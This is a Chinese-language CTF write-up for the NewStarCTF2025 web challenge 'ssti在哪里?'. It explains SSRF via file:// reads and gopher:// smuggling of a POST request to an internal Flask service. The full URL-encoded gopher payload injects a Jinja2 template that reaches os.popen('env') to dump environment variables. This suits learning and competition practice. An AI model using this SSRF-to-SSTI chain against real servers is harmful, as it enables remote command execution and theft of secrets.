NewStarCTF2025-ssti在哪里?-ssrf与ssti注入

好久不见各位,笔者前段时间花了10天时间学习c++,备赛码蹄杯,所以很久没有产出。

此题还是之前做的,没写完笔记,于是乎,今日更新。

笔者大一小白一个,从未参加过这种竞赛,犯了规(蓝牙鼠标,提前在编译器写了快些快读代码)

本来也没写出几道题,还好没写出哈哈哈哈哈哈哈

进入正题:

知识点:

1.flask的app.py启动文件

2.SSTI(Server-Side Template Injection,服务端模板注入)

3.SOCK_STREAM

指基于TCP协议、提供面向连接可靠数据传输的Socket类型,属于BSD Socket API的核心组件 [1]。

它通过socket()函数创建,需将type参数设为SOCK_STREAM,并常配合IPv4(AF_INET)或IPv6(AF_INET6)地址族使用,广泛应用于C语言网络编程中。

注意:TCP 通信要求每一行指令必须以 \r\n (也就是 %0d%0a) 结尾。需要处理最底层的换行符编码

4.gopher 协议

Gopher(网际Gopher协议)是互联网早期基于文本的信息查找系统,由美国明尼苏达大学于1991年设计并命名,名称源自该校"金色地鼠"运动队的俚语缩写。其核心功能为通过层叠菜单结构组织文件索引,支持检索文本文件、远程登录(Telnet)等类型的信息资源。

->

Gopher 本质上是 "互联网早期的资源索引协议"

  • 它诞生于 1991 年,旨在将服务器上的文档和目录整理成一个菜单,供客户端读取。

  • 协议特性: 它是一个基于文本的、行导向的协议。用户通过浏览器输入"gopher://"格式的URL即可连接服务器,发送请求,服务器返回菜单或文件内容。

为什么要用它?

协议透明度: HTTP 协议规定了繁琐的头信息(Header),如果格式不对,Web 服务器会直接拒绝。

而 Gopher 协议不关心 你发的内容是什么,它允许你在 TCP 数据流中插入任意字符,包括换行符(\r\n)。

**对 TCP 的直接操控:**TCP 通信的最小单位是字节流。

大多数协议(如 Redis、MySQL)都是基于"换行符"来判断指令结束的。通过 Gopher,你可以通过 %0d%0a 手动伪造出一行行合法的 Redis 指令。

5.SSRF(Server-Side Request Forgery:服务器端请求伪造)


思路:

访问目标网页->等价于访问目标文件->等价于url任意文件读取

1.读取app.py

url:file///app/app.py

复制代码
 from flask import Flask, request
 from secret import port_num
 import socket
 ​
 app = Flask(__name__)
 ​
 @app.route('/', methods=['GET','POST'])
 def handle_request():
     http_hdr = request.form.get('http_hdr','')  //http_hdr->HTTP Header
     req = ""
     req += http_hdr
     if req :    //如果你传入的http_hdr,也就是req合法的话,建立套接字帮你连通内网,然后传入你的req
         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    //建立套接字
         //AF_INET指的是[IPv4],SOCK_STREAM说明是tcp协议
         sock.connect(('127.0.0.1',port_num))    //连通内网端口
         sock.send(req.encode()) //传入你的req
         
         response = b""
         while True:
             chunk = sock.recv(4096) //收到响应
             if not chunk:
                 break
             response += chunk
         sock.close()
     return response //return响应->我们可以直接遍历内网服务、读取文件内容、或者查看配置信息
     
 if __name__ == '__main__':
     app.run(host='127.0.0.1', port=5000)

2.读取internal_web.py

url: file:///app/internal_web.py

复制代码
 访问结果:
 ​
 from flask import Flask, request, render_template_string
 from secret import port_num
 import os
 ​
 app = Flask(__name__)
 ​
 @app.route('/', methods=['GET','POST'])
 def index():
     template = request.form.get('template', 'Hello World!')
     return render_template_string(template)     //render_template_string 函数会将传入的字符串作为 Jinja2 的模板代码执行
 ​
 if __name__ == '__main__':
     app.run(host='127.0.0.1', port=port_num)
分析:
1.request.form.get('template', 'Hello World!')是什么
  • request.form

    在 Flask 中,request.form 用来获取 POST 请求 中(Content-Type: application/x-www-form-urlencodedmultipart/form-data)提交的数据。

  • 代码中的 .get() 一个方法,用来安全地获取键值。

    • 意思是:去请求表单里找 template 这个字段。

    • 如果找到了,就用用户提供的值。

    • 如果**没找(或者用户根本没传),就默认使用 'Hello World!' 这个字符串。

3.读取secret.py找到端口号

复制代码
 port_num=60024

攻击构造

目标是通过gopher协议,我们向60024端口发送请求包,然后它收到请求后会直接把响应包给我们

请求包构造的template参数传入ssti的payload

1.选择攻击协议
  • 由于目标漏洞点在 POST 参数 template 中,普通的 http:// 协议很难构造复杂的 POST 报文。

  • Gopher 协议 被称为"万能协议",它允许我们自定义整个 TCP 流量包。它是 SSRF 向内网发送 POST 请求的最佳武器。

2.构造 HTTP 报文
复制代码
 POST / HTTP/1.1
 Host: localhost:60024
 Content-Type: application/x-www-form-urlencoded
 Content-Length: [长度]
 ​
 template={{ SSTI_Payload }}
3.ssti绕过与 Payload 编码:
  1. 逃逸对象链

    • 为了获取环境变量(Flag 所在处),需要从 Flask 的内置对象寻找通往系统命令的路径。

    • config.__class__.__init__.__globals__['os'] 它利用 config 对象回溯到 Python 的全局命名空间,从而获取 os 模块来执行系统命令。

  2. 编码处理

    • Gopher 协议要求对所有特殊字符(如换行符 %0D%0A、空格、括号)进行 URL 编码。

->Payload: url=gopher://localhost:60024/_POST...template={``{config...}}

Payload:

复制代码
 url=
 gopher://localhost:60024/_POST%20/%20HTTP/1.1%0D%0A
 Host%3A%20localhost%3A60024%0D%0A
 Content-Type%3A%20application/x-www-form-urlencoded%0D%0A
 Content-Length%3A%2076%0D%0A%0D%0A
 template%3D%7B%7Bconfig.__class__.__init__.__globals__%5B%27os%27%5D.popen%28%27env%27%29.read%28%29%7D%7D
复制代码
 url=gopher://localhost:60024/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20localhost%3A60024%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2076%0D%0A%0D%0Atemplate%3D%7B%7Bconfig.__class__.__init__.__globals__%5B%27os%27%5D.popen%28%27env%27%29.read%28%29%7D%7D

知识点补充:

在构造 Gopher 协议或进行 Web 渗透测试时,除了最关键的换行符 %0D%0A,其他符号也需要根据 URL 编码(Percent-encoding) 的规则来转换:将字符的 ASCII 码十六进制值 前面加上一个 %

符号 URL 编码 说明
空格 %20+ HTTP 请求行和参数间的分隔
/ %2F 路径分隔符(如 POST / HTTP/1.1
: %3A Host 和端口之间的冒号
? %3F GET 请求的参数起始符
= %3D 参数名和值的分隔
& %26 多个参数之间的连接符
{ %7B SSTI 必须的左花括号
} %7D SSTI 必须的右花括号
[ %5B Python 字典或列表索引(如 ['os']
] %5D Python 字典或列表索引
' %27 单引号(Python 字符串)
" %22 双引号
( %28 函数调用(如 popen(
) %29 函数调用结束
. %2E 对象属性访问(如 config.class
\* %2A 乘号或通配符
关于换行

它是两个特殊字符(控制字符)的组合:

  • %0D (CR - Carriage Return) :十六进制是 0x0D,对应 ASCII 码里的 "回车",作用是将光标移到行首。

  • %0A (LF - Line Feed) :十六进制是 0x0A,对应 ASCII 码里的 "换行",作用是将光标移到下一行。

在 Windows 系统和 HTTP 协议规范 中,必须同时使用这两个字符 \r\n(即 %0D%0A)来表示一个完整的换行。

相关推荐
老虎海子1 小时前
从零手搓一个 AI 编程助手:Mini Claude Code 完全指南
人工智能·git·vscode·python·github
AIDABI1 小时前
Vulnhub-DC-9
web安全·网络安全
辞忧九千七2 小时前
吃透Redis7核心数据结构:从基础用法到实战场景(Python版)
开发语言·数据结构·redis·python
空圆小生2 小时前
基于 Python+Vue3 的 AI 人脸识别门禁考勤系统
开发语言·人工智能·python
Yoshizawa-Violet2 小时前
模板方法模式实战:重构Agent工具审批,告别重复代码
python·agent·模板方法
HjhIron2 小时前
Python列表与LLM接口实战:从切片到DeepSeek调用
python
搬砖的小码农_Sky2 小时前
macOS Sequoia上如何安装Python开发环境?
开发语言·python·macos
Rauser Mack2 小时前
编程纯小白,五分钟用AI做了个小游戏(附Prompt)
人工智能·python·html·prompt·ai编程
py小王子2 小时前
期刊复现| Python 实现带边缘密度与残差检验的回归拟合图
python·期刊复现